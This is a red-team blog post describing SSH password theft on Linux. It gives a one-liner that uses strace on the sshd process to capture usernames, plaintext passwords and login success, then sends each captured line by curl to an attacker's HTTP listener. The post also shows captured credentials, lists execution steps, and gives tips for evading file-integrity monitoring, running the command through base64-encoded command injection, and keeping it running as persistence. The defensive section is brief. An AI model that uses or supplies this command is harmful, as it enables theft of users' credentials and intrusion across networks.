SSH Password Theft
22 Aug 2020Overview
Continuing in the same vein as the Sudo Hijacking article I wrote last week, I want to continue diving into different ways attackers can capture plain text passwords from Linux hosts to use for lateral movement in a network. In this scenario you need root access to a Linux server, and you need strace installed or the ability to install strace. Strace is a very useful diagnostic program which attaches to a process and monitors the memory stack as the application runs. This allows us to see a lot of information which would normally not be visible to the user, such as the plain text username and password for every user who logs in over SSH.
You may be wondering why we care about this if we already have root access, and that’s a great question! As root you control the host your on, and you may have gotten root in many different ways, such as through a Weblogic vulnerability or through command injection in a web appication. An attacker won’t stop at the one host, the goal is to move into the network and find more systems to exploit and data to compromise, this is called lateral movement. One method of lateral movement is to try cracking the password hashes in /etc/shadow, but with type 6 ($6$) SHA-512 passwords being common now, along with password managers allowing for very long and complex passwords, the odds of cracking a password are not as good as they used to be. To save time and resources it’s often best to find a way to get the plain text password, which is the purpose of this techique.
Demo Video
Code
I recommend downloading the command from my repository in the event I make changes. The command is labeled under SSH Spy in my OneLiner document.
z=`ps aux | grep -i sshd | grep "listen" | sed -e 's/ */ /g' | cut -d" " -f 2`;strace -t -e read,write,openat -f -p $z 2>&1 | grep -v "~/.profile" | grep --line-buffered -F -e 'write(5, "\0\0\0\7' -e '\f\0\0\0' -e '.profile' | while read -r LINE; do curl -X POST --data-binary "$LINE" http://192.168.42.51:8080/sshspy &>/dev/null;done
Responses
When you view SSH data in strace, you see a lot of data flying by, much of it seemingly incomprehensible due to it being very raw data. When we look at logins, we really only care about 3 things: the username, the password, and was the login successful.
An important note is that I have strace only displaying read, write, and openat commands. If this is not done you will get flooded with uninteresting data.
The output sent from the command is shown below:
root@kali2:~# python simplepost.py
serving at port 8080
[pid 1496] 04:29:31 write(5, "\0\0\0\7tjensen", 11) = 11
[pid 1495] 04:29:40 read(6, "\f\0\0\0\23nottherightpassword", 24) = 24
[pid 1495] 04:30:00 read(6, "\f\0\0\0\vIamtopgun1!", 16) = 16
[pid 1505] 04:30:00 openat(AT_FDCWD, "/home/tjensen/.profile", O_RDONLY) = 3
[pid 1516] 04:30:21 openat(AT_FDCWD, "/root/.profile", O_RDONLY) = 3
Let’s look at exactly what we’re flagging on so you know what your receiving and why your receiving it.
Data Goal | Strace Header | Example Output |
---|---|---|
Username | write(5, “\0\0\0\7 | write(5, “\0\0\0\7tjensen”, 11) = 11 |
Password | \f\0\0\0 | read(6, “\f\0\0\0\23nottherightpassword”, 24) = 24 |
Successful Login | .profile | openat(AT_FDCWD, “/home/tjensen/.profile”, O_RDONLY) = 3 |
Sudo Rights | .profile | openat(AT_FDCWD, “/root/.profile”, O_RDONLY) = 3 |
Above we see me logging in with the username tjensen. I then try an incorrect pasword, and then I attempt the correct password “Iamtopgun1!”. Once the successful password is entered, the user’s .profile is queried, which is how we know if the user successfully logged in or not. If the user runs a Sudo command, then Sudo queries root’s .profile, which we can flag on to identify that the user has sudo rights. While a user is moving around the file system, you may receive additional .profile alerts. They shouldn’t be too frequent and it can’t be helped.
One minor problem is you’ll notice the password fields flag on “\f\0\0\0”, but there is always another random character added before the password that we need to exclude. For “nottherightpassword” this is \23, for “Iamtopgun1!” this is \v. Be aware of this when extracting the passwords so you don’t accidentally get a password and think it doesn’t work, but really you copied a bit of this random character from strace.
Execution Steps
- Change the IP address in the 1 liner to match your attack receiver
- Setup your attack receiver. I strongly recommend Apache with HTTPS enabled to protect transmission data, but for testing I used This SimpleHTTPServer POST modification script written by Kyle Mcdonald, which can be found here
- Execute the 1 liner on the victim. Make sure it’s running as Root.
- Wait for users to login.
Defense
The primary defense for this is to not have strace installed on the server. Strace used to come as a standard tool in Linux, and even on MacOS, for many years. In recent years it has been removed from standard installations but I still find it on a good number of hosts, both old and new. While I devised the command to never touch disk, so it wouldn’t set off any File Integrity Monitoring systems(FIM), if you don’t see any FIM enabled on the host you could try to install strace from the software repository (apt, yum, etc). Many companies don’t run any Antivirus, File Integrity Monitoring, or Anti-Rootkit protections on Linux hosts which makes it very easy for an attacker to maintain access.
To prevent attackers from installing strace, the secondary defense is using a File Integrity Monitorying system to detect installation of Strace and any similar useages of strace which touch disk. For a pentester/Red Teamer, running purely in memory is probably ok since Linux hosts are rarely rebooted and engagements are realatively short. Very long Red Team engagements or malicious attackers are likely to want to add the command to a startup script or cron job to maintain persistence after a reboot, this would touch disk and could be caught by a File Integrity Monitoring system.
As you would with any malware, monitor suspicious outbound network connections, especially from servers. Linux systems are a lot quieter than Windows systems, very few agents query for updates or do any sort of outbound calls. Monitoring for normal network connections over a few weeks to a month and marking all URL’s/IP’s as known, and anything new after that suspicious is a fast way to detect compromised systems. Update your known hosts list if any new IP’s show up and you determine they are legitimate. Writing a SIEM rule to see if any traffic leaves a host only upon successful user login could catch a number of snooping attacks such as this.
Linux systems are very static compared to Windows systems, and as such monitoring everything running on the system with ‘ps’ and flagging on changes is a definate possibility in high security environments. Each system would need to be setup to know what normally runs, and flags will likely be raised upon every legitimate user login, but if admins keep track of what they access and when, then this is very solid security to prevent intrusions.
Executing Paths
I see a number of ways this can be used:
- If you have a Root shell, you can drop this in through Tmux or Screen so you can this can run in memory until the next reboot.
- You can try running this through Command Injection via a webapp, allowing you to gain credentials without ever having a shell. I’ve had several command injection hosts which blocked all ways for me to open a remote shell, which limits the number of ways I can get on the box. Yes I can add a user to /etc/passwd and /etc/shadow, but that’s touching disk and in sophisticated environments this is guranteed to get caught by File Integrity Monitoring systems. Running this in memory and waiting for an administrator to login is a nice low and slow way to gain access.
If your running through a web app, getting all that command through is going to seem daunting. Remember that you can bas64 the command before sending through the webapp, and have it unpacked and executed on the other side:
tjensen@kali2:~$ echo "whoami" | base64
d2hvYW1pCg==
tjensen@kali2:~$ base64 -d <<< d2hvYW1pCg== | sh
tjensen
Cleanup
This will be easy to cleanup, as a host reboot will remove it from memory or you can just kill the process. You can also use ‘timeout’ or a while statement to detect a future datetime and kill the process once the time has expired. This is really convenient for long term engagements if your going to run this on a large number of hosts and you worry about missing cleanup on any of them. Of course, if you set this to persist on a startup script or cron job then you’ll need a more manual cleanup method.